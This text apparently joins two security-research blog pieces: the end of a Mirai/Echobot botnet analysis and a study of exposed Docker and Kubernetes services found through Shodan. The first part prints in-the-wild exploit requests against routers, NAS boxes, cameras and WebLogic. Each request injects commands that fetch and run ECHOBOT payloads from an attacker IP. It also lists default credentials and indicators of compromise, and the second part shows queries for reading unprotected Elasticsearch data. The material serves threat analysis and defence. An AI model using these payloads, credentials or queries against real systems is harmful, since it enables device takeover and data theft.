HooToo TripMate Remote Code Execution HooToo TripMate Routers POST /protocol.csp?function=set&fname=security&opt=mac_table&flag=close_forever&mac=|wget http://31.13.195[.]251/ECHOBOT.sh; curl -O http://31.13.195[.]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195[.]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195[.]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195[.]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.* HTTP/1.1

Content-Length: 630

Accept-Encoding: gzip, deflate

Accept: /

User-Agent: Hello-World

Connection: keep-alive

 
CVE-2018-11510 Asustor NAS Devices

Table 1. New exploits used in the Mirai variant

Default Credentials Affected Device(s)
blueangel/blueangel

root/abnareum10

root/Admin@tbroad

root/superuser

 Blue Angel Software Suite, an application that runs on embedded devices for VOIP/SIP services
admin/wbox123 WBOX IPCameras, NVRs, DVRs
admin/pfsense Netgate pfSense, an open source platform for traditional Firewall, VPN and Routing needs
admin/aerohive Aerohive devices, a networking hardware vendor
root/awind5885 Crestron AirMedia AM-100 Presentation Gateways
hadoop/123456

hadoop/hadoop@123

hadoop/hadoopuser

 Hadoop instances
root/ikwd Toshiba IP Cameras

Table 2. Unusual default credentials used in the Mirai variant

Vulnerability Affected Devices Exploit Format
CVE-2019-2725 Oracle WebLogic Servers POST /_async/AsyncResponseServiceHttps HTTP/1.1

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

User-Agent: Hello-World

Connection: close

Content-Type: text/xml

 

<soapenv:Envelope xmlns:soapenv=http://schemas.xmlsoap.org/soap/envelope/ xmlns:wsa=http://www.w3.org/2005/08/addressing xmlns:asy=http://www.bea.com/async/AsyncResponseService <soapenv:Header> <wsa:Action>xx</wsa:Action> <wsa:RelatesTo>xx</wsa:RelatesTo> </work:WorkContext> xmlns:work=http://bea.com/2004/06/soap/workarea/> <void class=java.lang.ProcessBuilder> <array class=java.lang.String length=3><void index=0><string>cmd</string></void><void index=1><string>wget http://31.13.195[.]251/ECHOBOT.sh; curl -O http://31.13.195[.]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195[.]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195[.]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195[.]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.*</string></void></array><void method=start/></void></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

NB: The exploit is faulty and will not work due to an incorrect URL
CVE-2018-17173 LG Supersign TVs GET /qsrserver/device/getThumbnail?sourceUri=”+-;rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f+|+/bin/sh+-i+2>&1+|+;wget http://31.13.195[.]251/ECHOBOT.sh; curl -O http://31.13.195[.]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195[.]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195[.]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195[.]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.*; >/tmp/f ;&targetUri=/tmp/thumb/test.jpg&mediaType=image&targetWidth=400&targetHeight=400&scaleType=crop&=1537275717150 HTTP/1.1

Content-Length: 630

Accept-Encoding: gzip, deflate

User-Agent: Hello-World

Host: 192.168.0.1:9080

Connection: keep-alive
WePresent Command Injection WePresent WiPG-1000 Wireless Presentation systems POST /cgi-bin/rdfs.cgi HTTP/1.1

Host: 192.168.0.1:80

application/x-www-form-urlencoded

Content-Length: 1024 Client=;wget http://31.13.195[.]251/ECHOBOT.sh; curl -O http://31.13.195[.]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195[.]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195[.]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195[.]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.*;&Download=submit
ASUS DSL Modem Remote Code Execution ASUS DSL-N12E_C1 1.1.2.3_345 GET /Main_Analysis_Content.asp?current_page=Main_Analysis_Content.asp&next_page=Main_Analysis_Content.asp&next_host=www.target.com&group_id=&modified=0&action_mode=+Refresh+&action_script=&action_wait=&first_time=&applyFlag=1&preferred_lang=EN&firmver=1.1.2.3_345-g987b580&cmdMethod=ping&destIP=wget http://31.13.195[.]251/ECHOBOT.sh; curl -O http://31.13.195[.]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195[.]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195[.]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195[.]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.*&pingCNT=5 HTTP/1.1

Host: 192.168.0.1:80

Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

Connection: keep-alive

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Referer: http://www.target.com/Main_Analysis_Content.asp

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9
Belkin WeMo Remote Code Execution Belkin WeMo Devices POST /upnp/control/basicevent1 HTTP/1.1

Host: 20.36.21.25:49152

Connection: keep-alive

Accept-Encoding: gzip, deflate Accept: */*

User-Agent: python-requests/2.18.4

SOAPAction: urn:Belkin:service:basicevent:1#SetSmartDevInfo

Content-Length: 393

 

<?xml version=1.0 encoding=utf-8?> <s:Envelope xmlns:s=http://schemas.xmlsoap.org/soap/envelope/ s:encodingStyle=http://schemas.xmlsoap.org/soap/encoding/> <s:Body><u:SetSmartDevInfo xmlns:u=urn:Belkin:service:basicevent:1> <SmartDevURL>\x60wget http://31.13.195[.]251/ECHOBOT.x -O /tmp/ECHOBOT; chmod 777 /tmp/ECHOBOT; /tmp/ECHOBOT belkin\x60</SmartDevURL> </u:SetSmartDevInfo> </s:Body> </s:Envelope>
MiCasa VeraLite Remote Code Execution MiCasa VeraLite Smart Home Controllers POST /upnp/control/hag HTTP/1.1"

Host: %s:49451

Accept: text/javascript, text/html, application/xml, text/xml, */*

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip, deflate

X-Requested-With: XMLHttpRequest

X-Prototype-Version: 1.7

Content-Type: text/xml;charset=UTF-8

MIME-Version: 1.0

Content-Length: 311

Connection: keep-alive

Pragma: no-cache

SOAPAction: urn:schemas-micasaverde-org:service:HomeAutomatio

nGateway:1#RunLua

 

<s:Envelope s:encodingStyle=

http://schemas.xmlsoap.org/soap/encoding/ xmlns:s=http://schemas.xmlsoap.org/soap/envelope/"><s:Body> <u:RunLua xmlns:u=urn:schemas-micasaverde-org:service:HomeAutomationGateway:1> <DeviceNum></DeviceNum> <Code>os.execute(\x60wget http://31.13.195[.]251/ECHOBOT.sh; curl -O http://31.13.195[.]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195[.]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195[.]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195[.]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.*\x60)</Code> </u:RunLua></s:Body></s:Envelope>
Netgear ReadyNas Remote Code Execution Netgear ReadyNas / NUUO NVRs POST /upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27; wget http://31.13.195[.]251/ECHOBOT.sh; curl -O http://31.13.195[.]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195[.]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195[.]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195[.]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.*%205;%27 HTTP/1.1

Content-Length: 630

Accept-Encoding: gzip, deflate

Accept: /

User-Agent: Hello-World

Connection: keep-alive

 

GET /upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27; wget http://31.13.195[.]251/ECHOBOT.sh; curl -O http://31.13.195[.]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195[.]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195[.]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195[.]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.*;%27 HTTP/1.1

Host: 192.168.0.1:50000

Connection: keep-alive

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7

Cookie: PHPSESSID=7b74657ab949a442c9e440ccf050de1e; lang=en
GoAhead Remote Code Execution IP cameras manufactured by GoAhead, Aldi, and several others GET /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192

.168.1.1&port=21&user=ftp&pwd=$(wget http://31.13.195[.]251/ECHOBOT.sh; curl -O http://31.13.195[.]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195[.]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195[.]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195[.]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.*)&dir=/&mode=PORT&upload_interval=0
CVE-2014-8361 Devices using the Realtek SDK with miniigd daemon POST /wanipcn.xml HTTP/1.1

Content-Length: 630

Accept-Encoding: gzip, deflate

SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping'

Accept: /

User-Agent: Hello-World

Connection: keep-alive

 

<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>\x60cd /tmp; wget http://31.13.195[.]251/ECHOBOT.mips; chmod 777 ECHOBOT.mips; ./ECHOBOT.mips realtek\x60</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Table 3. Previously seen exploits used in the Mirai variant

Indicators of Compromise

26-May-2019 10:05 Samples

13d3b4545b18f41cf89ad9d278434b3fb60a702edebdde605ced745db47ce58d

22e33a16b03c2ca6b1e98b9c6fe1f1cc18d84eef4bb79247642ccf37960aaad8

25e959a071e631088816ed87991482b8776a81377f0fa7a8f53eca9a7af3afe1

2ad284d6297420e9cdb3a2bd9f0824c3122c861f37b58ea17675e0f5799f029e

36b1391b84f48a0f3b20b3831250b681dfa4a5aeb7a26816da723a06991d5029

73fe0ed1e85d547d19acd720b1d67fb94059a007a35f685b3bd16627879d4c47

7d9af41abec8cc93a9185dfdb256b864fa5c9e67e16192f718d7faa0e18177e8

95c7516abf8c738423cd18f0c905baa65d38ba5259b6853777550505019ba8cd

b73add38713b70ca529c8387275fca0bbf5f5488f2be5ebc17c4f1f34b06bd26

ed4d920cd54b87167d0ad2256bf996c8fdac3ac3bd5dd5ccb0b6c2d551226184

f02e2443c250e78877f9b184ab94693f4e8dba8c2191c9d03857664e71987976

f9ee7e0a4deac908e6fbacf7baa4f1d3bb138ebe2a3f9236a61f5d764181df0a

 21-May-2019 16:34 Samples

228ca519054dd62aadfa360fcf8f74e3072a4f6ffde521e47db233a604320a16

2f21e8ed1dce77c2cd0080c529043cff1c1ff5f22ba39dcd1a2220e17f273ba5

3c26c9db539b3c1b556b86dff3c5b0e819dbdce52234dda7025979d05ff9d188

65b03b40eafc60d0fa3b13c51dc1cfbc720e76d2a3b1f5f3c78de57856b8e60f

68e62724530401400724a75dd2fe07dc0db6a8373be7861d65896b33039c632f

81d63319951334eb8fb748d897a77f610d3250d795e0a134252e689f8db672c4

8f6f3834d292ef84eada500832efea3c45a0fc0261bc4be8888414bfe31803c3

9eebd384fa6d4d45648a74dfe0aad8fe2b9bc9b907e6f3b474ca77e83bbf63bb

c282ad7bb6558cbdcb4e7c07db4a7f201792dd250a31718d811b78e34fd6a283

d5ea253efcc042ee0a85ffdd4673738b5859ddacabca06dc2ff11f81b7d0983f

dbf70f849e09441af668245f3ba7491be227447c36e7244bbbf2787e503599a7

21-May-2019 08:38 Samples

2dd89d8214c76b3ce7b6a301ad8256fba5ac9f3e4c0b3e10e14c6075764f0e4d

5091da1a1fa51f77ac64f75ab9c23da88469160f040a189ec1e6a0e952a26720

563afb05bb5a68c8b235143dde081c44e06ed2674681629c60116ce1b92a7cee

61d18166f39ccdc85e51e9a6cd1a8ec7f8c1c1d227d84b9ca94ef847d0b1a79c

6cdce7758468685f8c125bff2c3c1f196fe43f30e10c7fb643a67b7d5e2ae2f2

83841e5f965cb7e03bf5f0c5da217a22b307ddd138a3b8b8ec5dc8f111f26165

8ba26e98710f3e55677a7eaea19a656e3ef7136e94f81ecb5b05cfdc96586d65

9476bfe1eb99b00c02a3a6c539d1a060b87e4c53617fa5b2949cdd44c1cbc92b

b4443e1bbd27062c8eb2bfd791483a777ac003ce8d47a9ce43f2861f0ad70f94

c2440a1e19ae8f527061a666fa59eb457f3c1c8f6d5b981f9c1f5bf8a4c62f61

f64cad4ce4af8debf1951d4deca0dd86acd3a83409140cb0544ea27d155e04ab

19-May-2019 06:05 Samples

046a077bd3ded83b9066350862d204afb04dfe04b71827de8f60929e2f7d4e44

0639e8111253133a617cd0f119c1ef70560de0f044add084c0200a1a4fd6952e

098c7f9c8c8c63d8d79387274f0fe5416702abcb650b983426e116f193b82e61

121e6d208522e1abccacd51f82f03a9178680c222eff5336b84b6f86a770a453

5070aa62866652e533701ee327d6a77ec289cca0deae8fa953d69f9d12c89c55

7ffb658d09c5c55c04ac1cef4e1e3c428c0363130381e0aef8c769ea11c64370

87195d5262c205b3356cfe815d60d41a11a8f563b4cd4abd75da73128e02f86c

9dc3e2fc27e138a588e6a25dc5432d78f0930046286fc64b9c65246beda19a45

b3e5726e56f604656a322fc6c62585e73f594d053d6891c3fa94c3fff41f30cb

b44b658716cf1326ad27e58b1a45c96684f6182d2a5d8596fb8fd7e60656a241

b4a370ff3d59d43924ace6c8ef34df55b6e45b4dcff2f0f2db36bbb40e6c203e

Other Samples with unknown in-the-wild URLs

22ff3cc031c9ae43757030a1cb1a8fc09171f370469b79770faaca3eb5dbbfef

385d26249622f65692423312846feed6eba96cea5d6e0bfbfa755307985cb8cd

621e17811228b8ea559a2f6905235fcbcc59e7c06b9c380962aca3fcac15600c

729d3b3363bd69b2cc60b9600ea91223361021f75b6f7484a49ead95a325b60c

970783c2e358b1238f8e571989caf696f6af585dccad64dd21bf1703835b80d1

be7f56a58a908125ce2066fb0691d9f9eef868509a5d53f08e8362f21542b76c

cb8b4d3d24607731cdffa7015eb6299373870c53a854b4a23657f8ede53113c6

e8df1d766fc3763ffa79663920f47f158ec55605fdbf8bf5a55fcdcfe61be78d

e94482b0382aa7907c41c329772085c288e55dd4b8ffd28277131d9ca9b2e9d2

 C2

akuma[.]pw

akumaiotsolutions[.]pw

Malware URLs/Payload Sources

31.13.195[.]251/ECHOBOT.sh

31.13.195[.]251/ECHO/ECHOBOT.arm

31.13.195[.]251/ECHO/ECHOBOT.arm5

31.13.195[.]251/ECHO/ECHOBOT.arm6

31.13.195[.]251/ECHO/ECHOBOT.arm7

31.13.195[.]251/ECHO/ECHOBOT.m68k

31.13.195[.]251/ECHO/ECHOBOT.mips

31.13.195[.]251/ECHO/ECHOBOT.mpsl

31.13.195[.]251/ECHO/ECHOBOT.ppc

31.13.195[.]251/ECHO/ECHOBOT.sh4

31.13.195[.]251/ECHO/ECHOBOT.spc

31.13.195[.]251/ECHO/ECHOBOT.x86

Misconfigured and Exposed: Container Services

Posted on by Nathaniel Quist

Executive Summary

There are 40,000+ unique container hosting devices which have default container configurations that allow for quick identification. Both Kubernetes and Docker container platforms each have over 20,000 unique instances apiece. This does not necessarily mean that each of these 40,000+ platforms are vulnerable to exploits or even the leakage of sensitive data: it simply highlights that seemingly basic misconfiguration practices exist and can make organizations targets for further compromising events. Seemingly simple misconfigurations within cloud services can lead to severe impacts on organizations. For example, Docker Hub losing keys and tokens for 190,000 accounts was the result of an attacker exploiting weak security configurations of key and token storage within a cloud environment. Ladders, leaking of over 13 million user records is a perfect example of a basic container misconfiguration having significant consequences. The lessons learned from the Ladders breach should be at the security configuration forefront for all organizations deploying container services.

In our research, we were able to easily find 20,353 Kubernetes containers globally using simple search terms. These instances were located in the United States, Ireland, Germany, Singapore, and Australia and the overwhelming majority of them were hosted on Amazon. We were also able to easily find 23,354 Docker containers globally using simple search terms. These instances were located in China, the United States, Germany, Hong Kong, and France. In the case of Docker, while Amazon was again the top hoster, there was a broader distribution of hosters for these instances.

We then did further research into some of these exposed instances to see what services were exposed and information being leaked. We found sites exposing database instances to the public and also sites easily exposing personal information.

The following research highlights the results from Unit 42’s research into misconfigured containers, methods for identifying services exposed to the public, and mitigation steps to secure container services. In this blog, we identify common misconfigurations in container services. This allows our readers to deploy their container platform structures in a more secure and private fashion, avoiding the methods of data gathering that we outline in this blog.

Cloud Services

Cloud services can be any service that is available over an internet connection. Cloud services allow organizations to quickly deploy, maintain, and support projects requiring dedicated availability for services that may experience demand fluctuations in their designed service offering; common examples are API gateways, web services, and databases. There are several orchestration platforms, facilitated by either a managed service provider or by a self-serviced internal organization, which provides configuration functionality for containers and can provide policy enforcement for the platform. This functionality covers security or audit logging, role-based access control, and network connection enforcement for cloud infrastructure. Selecting the appropriate orchestration platforms or service providers can greatly assist in the security of cloud containers.

Shodan

To identify which cloud services and container platforms were exposed to the public Internet, Unit 42 used Shodan to highlight the ease of identification of these services. For reference, Shodan has been called the “Google for finding IoT” (Internet of Things) devices. While this research is not focused on identifying IoT devices, several of the same techniques can be used to identify cloud systems and containers that are connected to the public Internet. Like IoT devices, containers are connected to the Internet and can be publicly exposed through misconfigurations.

Shodan continually scans the publicly accessible internet address space, requests and then records the responses from each port, or service, for each particular address. The responses are saved to a database which is then made available to Shodan members. Shodan provides services like enhanced system analysis, service categorization, and tagging features which provide additional insight into the functionality and scope of each identified system. Some of this data is available via a free Shodan account, typically with a rate limit to avoid automated abuse, while additional analytic content curated by the Shodan team is only available to paying account holders. Examples of the paid membership benefits are: increased rate limits for returned results, advanced filter capabilities for detailed search requests, increased alerting on changes to specific net ranges, automated scanning over pre-defined criteria, and the ability to query for specific analytic tags. To highlight the ease of use for finding container services identified within this blog, the examples below can be performed with a free Shodan account.

Hunting for Exposed Default Containers

Default container platforms with little customization have telling characteristics which can be used to easily identify them within a Shodan search. Searches as simple as using the key terms of “kubernetes”, “docker” or even “k8s”, which is an abbreviated term for Kubernetes, being that there are eight characters between the ‘k’ and the ‘s’, can all be used to identify default containers.

Here are some simple search examples and results using the Shodan website:

Kubernetes

    • Performing a Shodan search for the term “Kubernetes”, results in a total of 20,353 devices which contain the term. There is additional metadata information returned, allowing the researcher to drill into what could be interesting results. Items like top countries, services, organizations, operating systems, and products. As you can see from the returned information, the United States has the most number of devices containing the term “Kubernetes” and we can also see that Amazon[.]com is the organization which hosts the majority of these devices. Figure 1 illustrates the type of results Shodan pulls back.

Figure 1. Shodan webpage Kubernetes query results

    • Figure 2 illustrates an example of using the Shodan CommandLine Interface (CLI) tool. It shows an example of the ‘count’ functionality of a particular keyword. In this case, the current count of devices which contain the keyword “Kubernetes”, as it displayed within the Figure, the total count of devices is the same result as Figure 1, 20,353. For additional information regarding available commands provided by the Shodan CLI, please direct your attention to the Shodan CLI page. Suffice to say, having scriptable capabilities of Shodan searches can be very beneficial for researchers who wish to perform complex searches.

Figure 2. Shodan CLI Kubernetes query results

k8s

    • Figure 3 shows a total of 509 devices which contain the term “k8s”. It is also interesting to note that the United States still remains the top country for returned results and that Amazon[.]com is still the top organization hosting k8s devices.

Figure 3. Shodan webpage k8s query results

    • Figure 4, Shodan’s CLI also shows the same count value for k8s devices.

Figure 4. Shodan CLI k8s query results

Docker

    • Figure 5 shows there were 23,354 devices which contain the term “Docker”. This is 1,001 more than Kubernetes devices, which could be accounted for due to Docker being an older and more established container platform. However, it is interesting to note that the top 5 countries are closer in total count than either Kubernetes or k8s. China came in as the top country with 6,015 and the United States was second at 4,617. Amazon[.]com remained the top organization but the next 3 out of 4 remaining top 5 organizations were Chinese based organizations, and number 2 was a Hong Kong based organization. These numbers can lend insight into which organization’s are favored to host Docker containers within each country.

Figure 5. Shodan webpage Docker query results

These searches reveal that Kubernetes and Docker container platforms each have over 20,000 unique instances publicly exposed to the internet, and the Kubernetes platforms have up to an additional 509 unique instances configured using its commonly used abbreviation, k8s. This does not necessarily mean that each of these 40,000+ platforms are vulnerable to exploits or potentially leaking sensitive data, it simply highlights that misconfiguration practices exist even in the most basic form of failing to rename a container. However benign, basic misconfigurations are being used within the industry. If there are misconfigurations in basic container usage, how far can this misconfiguration practice carry an ambitious attacker? And more importantly, can sensitive information be gathered from these misconfigured container platforms?

According to our research, yes. There are instances where the failure to properly configured containers can lead to the loss of sensitive information. This type of misconfiguration practice is becoming more publicized yet reports like Docker Hub losing keys and tokens for 190,000 accounts dominate headlines and can mask the deeper underlying issue. A good example being the recent report of the recruitment site Ladders, leaking of over 13 million user records. This is the result of a simple misconfiguration practice, failure to implement basic authentication requirements.

Hunting for Exposed Default Services

In order to identify the exposure of misconfigured container services, we first need to build a baseline for our research and to understand the landscape we are researching. By default Elastic, Kibana, and MySQL services use the following ports of 9200, 5601, and 3306, respectively. Shodan can provide basic insights into the total number of how many of each service are publicly accessible.

Elastic

An Elastic database uses the TCP port 9200 as the default Rest API interface for the data contained within the database. When navigating to an Elastic database via a browser, the user would be presented with a JSON formatted response with the datasets allowed to be viewed. In Figure 6, we show the result of a Shodan search we performed to count the total number of devices which had the TCP port 9200 open to the public. There were 1.448 million devices identified, with 1.3 million located within the United States. Nearly half of all the devices, 775,284 entries, returned the domain of ‘googleusercontent[.]com’. When performing additional research correlating the domain in conjunction with the port 9200 across known issues within Google Infrastructure, resulted in this being an Elastic service hosted on Google Cloud infrastructure. This is a very strong indicator that nearly all of these identified devices are hosting Elastic services. This domain also accounted for 53% of all Elastic instances.

Figure 6. Shodan CLI statistics for port 9200 (Elastic)

Kibana

Kibana is a database visualization tool used to provide a user with a Graphical User Interface (GUI) to view database information. Kibana uses an HTTPS web browser connection over the TCP port 5601 by default. In Figure 7, we show the results of a Shodan search we performed to count the total number of devices which had the TCP port 5601 open to the public. There was a total of 349,403 devices identified, with 288,159 located within the United States. As was the case with the Elastic results before the majority of entries, 56,635, were from the domain of ‘incapdns[.]net’. This domain is a web site hosting service which provides web hosting services for organizations. This domain accounted for 16% of all port 5601 entries.

Figure 7. Shodan CLI statistics for port 5601 (Kibana UI)

MySQL

The MySQL protocol is used to facilitate network communication to a SQL database over TCP port 3306 by default. In Figure 8, we show the results of a Shodan search we performed to count the total number of devices which had the TCP port 3306 open to the public. There was a total of 4.816 million devices identified worldwide with 2.138 million located within the United States. Interestingly, Google Cloud services fell 7 spots within these results and Amazon was the domain which hosted the largest number of MySQL protocol enabled services. It is important to note that no hosting domain carried the vast majority of MySQL protocol enabled services, with the highest percentage of instances being only 4% of all identified MySQL enabled devices being hosted on Amazon.

Figure 8. Shodan CLI statistics for port 3306 (SQL DB)

In recap, these results provide us with a frame of reference on the total scope of the services available to the public. At the time of this writing, there were 1,448,102 devices listening on port 9200, 349,403 devices listening on port 5601, and 4,816,638 devices listening on port 3306. It is important to note that not all of the data contained within these unique systems are accessible to the public, research points to the vast majority of these systems requiring authentication credentials in order to access any contained data. Additionally, it is possible that several of these systems do not host an Elastic, Kibana, or MySQL protocol enabled service, but rather another service that is simply listening on the same port that these services do by default. As such, these results do not greatly assist researchers to identify container misconfigurations.

Narrowing our Scope

Now that we have identified the landscape, we will now narrow our scope to identify any misconfigured containers that may be present. We began by augmenting our initial baseline queries, see figures 6-8 within the previous section, by combining multiple searches together. For example, searching for default ports with default container names, “port:9200” (the Elastic database RestAPI port) with the term “Kubernetes”. This query format would allow us to identify defaults Elastic services running on default Kubernetes container instances.

To focus on Elastic services hosted on Kubernetes containers, we performed a search with both ‘port:9200’ and ‘kubernetes’. As you can see from Figure 9, the results were narrowed from 20,353 unique results (Figure 1) from Kubernetes alone, and 1.4 million results from port:9200 alone (Figure 6), to a total of 13. The majority of the devices are hosted within China and the United States has only 2.

Figure 9. Shodan CLI statistics for port 9200 (Elastic) and Kubernetes

To focus on Docker containers hosting Elastic services, we performed a search with ‘port:9200’ and ‘docker’ as the key terms. Figure 10 illustrates a total of 39 unique devices contained default Elastic services hosted on default docker containers.

Figure 10. Shodan CLI statistics for port 9200 (Elastic) and Docker

Instead of the 1.4 million default Elastic instances, we narrowed the results to 13 default Elastic instances running on default Kubernetes platforms and 39 instances on default Docker platforms. This quantity is much easier to analyze and perform deeper research.

Shodan records the IP addresses of each system and those addresses from the identified Elastic instances were gathered using the following Shodan CLI command:

shodan search –fields ip_str port:9200

With the resulting IP addresses, we investigated select systems to identify if they contained sensitive information.

Example #1

The following system did have an unprotected elastic database exposed to the public. This database did not contain any sensitive information, however, it is a good example of what types of information an Elastic database can provide. We navigated to the Elastic system and performed the search query ‘<ipaddress>:9200/_search?q=*’. This query returned the following JSON data, see Figure 11.

Figure 11. JSON results from a queries Elastic database

Example #2

Example #2 did contain sensitive information within a default container using default services. Researchers navigated to the Elastic instance using the previously defined URL query format:

<ipaddress>:9200/_search?q=*

When investigating, a database titled “users-registered-2018*” was identified. We added the database to the search query:

<ipaddress>:9200/users-registered-2018*/_search?q=*

We identified a total of 19 user email addresses contained within the database, see Figure 12.

Figure 12. User email addresses identified

Email addresses are not on the same level of sensitivity as items like credit card numbers, social security numbers, or other highly sensitive information. However, they are often targeted by malicious actors. An example of a malicious action which could be performed leveraging email addresses would be spear phishing attacks. Malicious actors could gather information on an organization like its geographic location, the number or type of office buildings, and most importantly, employee names. This information allows an attacker to construct targeted emails, Business Email Compromise (BEC), which contain familiar information for the victims, enticing them to click on malicious links resulting in compromised accounts.

Unit 42 further identified that this system not only hosted an Elastic database without any form of authentication mechanism to help secure the data it contained, but also hosted an additional unsecured service: an instance of Kibana running alongside the Elastic instance.

We queried the following URL ‘<ipaddress>:5601’, and were able to gain access to the Kibana dashboard which contained additional database information aside from what was initially found within the Elastic service. We found two additional databases, one which contained internal infrastructure IP addresses and the second which contained logging information for a custom internal integration system. Finally, the user-registry database appeared to only have a two-month active life span, between September and November 2018, but the services were still in operation as of the time of this writing. Additionally, at the time of this writing the owner of the database has yet to be identified; we are still trying to ascertain who the owner for victim notification.

Figure 13. User email addresses identified via Kibana

Mitigation Steps

Unit 42 proposes the following steps to improve the overall security of container platforms.

  • Invest in cloud security platforms or managed services which focus in container security strategies.
  • Limit access to services hosted on containers to internal networks, or prior designated personnel, through the use of firewall controls or container platform network policies. The following links can help assist secure access to containers:
  • Establish basic authentication requirements for your containers. The following two links provide helpful instructions for how to establish a basic authentication practice for either Docker or Kubernetes:
  • Identify the type of data stored or managed within each container and use the appropriate security practices to keep these data types secure.
    • Your organization’s compliance policies will assist in dictating the protections required.
  • Isolate services to their own containers. Do not host more than one service on a single container, this will improve the resource efficiency of the container itself, and will assist in implementing effective security policies.

Conclusion

